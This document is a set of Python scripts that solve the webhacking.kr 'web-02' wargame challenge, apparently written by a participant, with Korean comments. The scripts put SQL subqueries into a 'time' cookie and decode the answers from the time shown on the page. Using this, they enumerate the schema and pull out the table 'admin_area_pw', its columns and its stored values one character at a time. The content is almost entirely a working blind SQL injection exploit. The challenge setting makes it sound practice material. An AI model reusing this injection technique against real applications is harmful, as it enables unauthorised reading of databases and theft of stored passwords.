import requests

url = 'https://webhacking.kr/challenge/web-02/'

cookie = {
    'time': '(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = database())'
}

r = requests.get(url, cookies=cookie)
print(r.text)

import requests
import re

url = 'https://webhacking.kr/challenge/web-02/'

#--- 첫 번째 테이블명 찾기 ---#
print("\n=== 첫 번째 테이블명 찾기 ===")
table_name = ""

for i in range(1, 15):
    cookie = {
        'time': f'(SELECT ascii(substr(table_name,{i},1)) FROM information_schema.tables WHERE table_schema=database() limit 0,1)'
    }
    
    r = requests.get(url, cookies=cookie)
    
    # 시간 패턴 추출: 09:XX:XX 형태
    time_match = re.search(r'09:(\d{2}):(\d{2})', r.text)
    
    if time_match:
        minutes = int(time_match.group(1))
        seconds = int(time_match.group(2))
        
        # 분:초를 ASCII 값으로 변환 (01:37 → 1*60+37 = 97)
        ascii_val = minutes * 60 + seconds
        
        if ascii_val == 0:
            break
            
        char = chr(ascii_val)
        table_name += char
        print(f'{i}번째 글자: {time_match.group(0)} → ASCII {ascii_val} → "{char}"')
        
    else:
        print("시간 패턴을 찾을 수 없음")
        break

print(f'\n첫 번째 테이블명: {table_name}')

import requests
import re

url = 'https://webhacking.kr/challenge/web-02/'

def extract_ascii_from_time(text):
    time_match = re.search(r'09:(\d{2}):(\d{2})', text)
    if time_match:
        minutes = int(time_match.group(1))
        seconds = int(time_match.group(2))
        return minutes * 60 + seconds
    return 0

# admin_area_pw 테이블 분석
table_name = "admin_area_pw"

#--- 컬럼 개수 찾기 ---#
print("=== 컬럼 개수 찾기 ===")
cookie = {'time': f"(SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}')"}
r = requests.get(url, cookies=cookie)
column_count = extract_ascii_from_time(r.text)
print(f'{table_name} 테이블의 컬럼 개수: {column_count}개')

#--- 각 컬럼명 찾기 ---#
columns = []
for col_num in range(column_count):
    print(f"\n=== {col_num+1}번째 컬럼명 찾기 ===")
    column_name = ""
    
    for i in range(1, 20):
        cookie = {'time': f"(SELECT ascii(substr(column_name,{i},1)) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}' LIMIT {col_num},1)"}
        r = requests.get(url, cookies=cookie)
        
        ascii_val = extract_ascii_from_time(r.text)
        if ascii_val == 0:
            break
            
        char = chr(ascii_val)
        column_name += char
        print(f'{i}번째 글자: ASCII {ascii_val} → "{char}"')
    
    columns.append(column_name)
    print(f'{col_num+1}번째 컬럼명: {column_name}')

#--- 테이블 데이터 개수 찾기 ---#
print(f"\n=== {table_name} 테이블의 데이터 개수 ===")
cookie = {'time': f"(SELECT COUNT(*) FROM {table_name})"}
r = requests.get(url, cookies=cookie)
data_count = extract_ascii_from_time(r.text)
print(f'데이터 개수: {data_count}개')

#--- 각 데이터 내용 추출 ---#
for row_num in range(data_count):
    print(f"\n=== {row_num+1}번째 데이터 ===")
    
    for col_idx, col_name in enumerate(columns):
        print(f"\n--- {col_name} 컬럼 값 ---")
        data_value = ""
        
        for i in range(1, 50):  # 최대 50글자
            cookie = {'time': f"(SELECT ascii(substr({col_name},{i},1)) FROM {table_name} LIMIT {row_num},1)"}
            r = requests.get(url, cookies=cookie)
            
            ascii_val = extract_ascii_from_time(r.text)
            if ascii_val == 0:
                break
                
            char = chr(ascii_val)
            data_value += char
            print(f'{i}번째 글자: ASCII {ascii_val} → "{char}"')
        
        print(f'{col_name}: {data_value}')